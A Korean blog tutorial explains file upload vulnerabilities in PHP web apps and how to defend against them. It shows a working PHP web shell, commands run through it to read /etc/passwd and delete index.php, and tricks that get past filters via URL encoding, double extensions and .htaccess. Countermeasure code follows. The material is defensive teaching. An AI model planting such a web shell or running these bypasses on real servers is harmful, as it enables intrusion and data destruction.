File Upload Vulnerability이란?
파일 업로드 기능이 존재하는 웹 애플리케이션에서 파일 업로드 시 파일의 확장자 검증 미흡, 업로드 파일의 경로 노출, 파일 실행권한 제한을 하지 않음 등과 같은 부재로 인해 파일 업로드 과정에서 발생할 수 있는 취약점입니다.
아래와 같은 방법으로 공격이 가능합니다.
- 파일 이름에 메타 문자를 사용하여 상위 디렉터리에 파일 저장 (Path Traversal)
- 웹 쉘 띄우기
- 클라이언트 사이드 취약점으로 연결
Path Traversal
../과 같은 메타 문자를 파일 이름에 사용하여 상위 디렉터리에 파일을 업로드할 수 있습니다.
$file_path="../files/".$file_name;
위와 같은 코드로 작성된 업로드 기능에 ../index.php 를 입력할 경우
../files/../index.php
이런 경로에 저장이 되는데, 이는 원래 저장하려는 files 디렉터리의 상위 디렉터리에 index.php 파일을 업로드할 수 있게 됩니다.
이러한 방법을 사용해서 상위 디렉터리에 위치한 파일을 덮어쓸 수 있습니다.
웹 쉘 띄우기
아래와 같이 시스템 명령을 내릴 수 있는 웹 쉘 코드를 서버 사이드 스크립트로 제작한 후 파일을 업로드해 줍니다.
<?php
echo '<form action="">';
echo 'cmd : <input type=text name="cmd" size=50%>';
echo '<input type="submit">';
echo '</form>';
system($_GET['cmd']);
?>
파일 다운로드를 아래와 같이 처리한다면
<a href="/files/<?=$row->file_name?>" download>
마우스 커서를 가져다 놓았을 때 해당 파일이 업로드된 경로가 뜨는 것을 확인할 수 있습니다.
또한 간혹 서버에서 다운로드를 처리하더라도 커스텀 헤더를 통해 파일 경로가 뜨는 것을 확인할 수 있습니다.
<a href="/board/download.php?file=<?=$row->file_name?>" download>
이러한 경로를 파악한 후 url에 입력하게 되면
업로드한 php 파일이 실행되어 웹 쉘이 뜨는 것을 확인할 수 있습니다.
여기서 서버에 시스템 명령을 내릴 수 있는데
cat /../../../../../etc/passwd
를 입력하여 최상위 디렉터리에서 /etc/passswd의 내용을 불러올 수도 있으며
웹 서버의 파일을 삭제할 수도 있습니다.
rm /Applications/MAMP/htdocs/index.php
웹 서버의 index.php 파일을 삭제하여 메인 페이지가 삭제된 것을 확인할 수 있습니다.
클라이언트 사이드 취약점으로 연결
test.html을 업로드 후 URL에 해당 파일의 경로를 입력할 경우 브라우저는 이를 html 파일로 인식하고 실행하게 됩니다.
아래와 같은 스크립트 코드를 작성하여 test.html로 업로드하고
<script>alert("File Upload");</script>
해당 경로를 url에 입력하게 되면
이렇게 스크립트문이 실행되면서 XSS와 같은 클라이언트 사이드 취약점으로 연결될 수 있습니다.
대응 방안
- 메타 문자 필터링
- 확장자 제한 (화이트 리스트 필터링)
- MIME Type 제한 (화이트 리스트 필터링)
- Magic Number 검증
- .htaccess 파일 비활성화
- 파일명 길이 및 용량 제한
- 파일 업로드 경로에 PHP 실행 방지
- 시스템 명령 실행 제한
- 공격자가 접근 불가능한 경로에 파일 업로드 (Webroot 밖에 저장)
메타 문자 필터링
if(strpos($file_name, "/") !== false || strpos($file_name, "\\") !== false || strpos($file_name, "..") !== false){
echo "<script>alert(\"사용할 수 없는 문자가 포함되어 있습니다.\");";
echo "location=\"/board/write.php\";</script>";
exit();
}
서버에서 파일을 업로드할 때 메타 문자가 포함되어 있다면 파일 업로드를 제한하는 방법으로 상위 디렉터리 접근을 제한할 수 있습니다.
하지만 메타 문자 필터링만 적용된 페이지에서는 이를 우회할 수 있는 방법이 존재합니다.
바로 URL 인코딩을 사용하여 / 를 %2F로 변환하여 입력하는 것입니다. 예를 들어 /../../../../etc/passwd를 %2F..%2F..%2F..%2F..%2Fetc%2Fpasswd로 입력하면 / 문자를 우회할 수 있게 됩니다.
따라서 다른 대응 방안과 함께 사용하는 것이 중요합니다.
확장자 제한 (화이트 리스트 필터링)
$whitelist = ['jpg', 'jpeg', 'png', 'gif'];
$fileExtension = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (!in_array($fileExtension, $whitelist)) {
echo "<script>alert(\"사용할 수 없는 확장자 입니다.\");";
echo "location=\"/board/write.php\";</script>";
exit();
}
미리 지정한 파일 확장자만 업로드할 수 있도록 화이트 리스트 필터링을 통해 대응할 수 있는데요.
이때 블랙리스트 필터링을 사용하지 않는 이유는 보조 확장자 사용을 통한 우회 가능성과 새로운 확장자 등장 시 업데이트를 수시로 해줘야 한다는 번거로움이 존재하여 화이트 리스트 방식으로 필터링을 해줍니다.
하지만 이 경우도 확장자 제한 우회하기 위해 이중 확장자를 사용할 수 있습니다. 예를 들어 test.php 파일을 업로드하기 위해 이중 확장자를 사용하게 되면 test.php.png와 같은 형식으로 우회할 수 있습니다. 이중 확장자를 통해 test.php.png 파일을 업로드하였을 때 아무리 파일의 내용이 php여도 png파일로 저장되어 php파일이 실행되지 않게 됩니다. 이때 apache 설정 파일에 AddType application/x-httpd-php .png 라는 내용을 추가하여 업로드하게 되면 png 파일을 php로 실행할 수 있게 됩니다. 그렇기 때문에 다음에 설명할 .htaccess 파일 비활성화가 필요합니다.
.htaccess 파일 비활성화
Apache 설정 파일 중에는 apache2.conf와 httpd.conf와 .htaccess가 존재합니다. 이 중에서 apache2.conf와 httpd.conf의 경우 서버를 재시작하지 않으면 수정 내용이 적용되지 않지만, .htaccess 파일은 Apache에서 사용되는 디렉터리별 설정 파일로 서버 재시작 없이도 디렉터리의 설정값을 지정해 줄 수 있습니다. 이 파일의 이름으로 공격자가 파일을 업로드할 경우 해당 내용이 저장된 디렉터리에 해당 설정이 적용되며, 이를 통해 png 파일을 php로 실행하는 등의 공격의 수단으로 쓰일 수 있기 때문에 해당 파일의 이름으로는 파일을 올리지 못하게 필터링을 적용하거나 또 다른 Apache 설정 파일인 apache2.conf 또는 httpd.conf 파일에서 .htaccess을 사용할 수 없도록 설정해 둘 수 있습니다.
MIME Type 제한 (화이트 리스트 필터링)
파일의 이름뿐만 아니라 파일의 내용도 검증을 해주어야 합니다. 따라서 데이터의 타입을 나타내는 MIME Type를 검증해 줄 수 있는데
$mime = mime_content_type($upload_file['tmp_name']);
$mime_type = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $mime_type)) {
echo "<script>alert(\"잘못된 파일 타입 입니다.\");";
echo "location=\"/board/write.php\";</script>";
exit();
}
위와 같은 코드를 통해 사용 가능한 파일이 아닌 경우 필터링을 거치게 됩니다.
Magic Number 검증
파일의 타입을 제한한다고 해서 파일의 내용을 확실히 검증해 줄 수 있는 것은 아닙니다. 파일의 타입을 조작하면 업로드가 가능하기 때문에 파일의 매직 넘버도 검증해주어야 합니다. 매직 넘버(Magic Number)란 파일의 형식에 따라 파일의 첫 부분에 표시되는 문자로 예시로 PNG 파일의 경우 항상 "89 50 4E 47 0D 0A 1A 0A" 로 시작하는 매직 넘버를 갖고 있으며 이를 통해 파일의 내용을 검증해 주어야 안전한 파일 업로드가 이루어질 수 있습니다. 컴퓨터를 통하여 처리되는 파일은 매직 넘버를 갖고 있기 때문에 허용할 매직 넘버가 아니라면 필터링을 거쳐주어야 합니다.
파일명 길이 및 용량 제한
파일명의 필터링을 우회하기 위해 파일명의 길이를 길게 작성하거나, FTP를 사용하여 파일 업로드를 할 경우를 대비하여 파일명 길이와 파일의 용량을 제한해주어야 합니다.
//파일명 길이 제한
if (strlen($file_name) > 255) {
echo "<script>alert('파일명 길이 제한 : 255자 이하');";
echo "location='/board/write.php';</script>";
exit();
}
//파일 용량 제한
$fil_size = $_FILES['upload_file']['size'];
if($fil_size>2097152){
echo "<script>alert(\"파일 용량 제한 : 2MB\");";
echo "location=\"/board/write.php\";</script>";
exit();
}
파일 업로드 경로에 PHP 실행 방지
Apache 설정 파일에서 해당 설정을 Off로 설정해 주어 파일이 업로드되는 경로에서는 PHP가 실행되지 않도록 하는 대응 방안도 존재합니다.
시스템 명령 실행 제한
system, passthru, shell 등과 같은 시스템 명령과 관련된 함수를 실행할 수 없도록 제한하여 웹쉘이 업로드되어도 시스템 명령을 내릴 수 없도록 할 수 있습니다.
공격자가 접근 불가능한 경로에 파일 업로드 (Webroot 밖에 저장)
파일이 업로드되는 디렉터리를 웹 루트 밖에 지정해 주어 파일 경로를 url에 입력하여도 실행되지 않도록 할 수 있습니다.
if($_FILES['upload_file']!=NULL){
$file_name=$_POST['file_name'];
$upload_file=$_FILES['upload_file'];
$file_path="/var/files/".$file_name;
move_uploaded_file($upload_file['tmp_name'],$file_path);
}
'Web > Web Hacking' 카테고리의 다른 글
NoSQL Injection (0) | 2024.09.07 |
---|---|
XXE External Entities (0) | 2024.09.06 |
File Download Vulnerability (0) | 2024.09.06 |
SQL Injection (1) (0) | 2024.09.06 |
XSS (Cross Site Scripting) (0) | 2024.09.06 |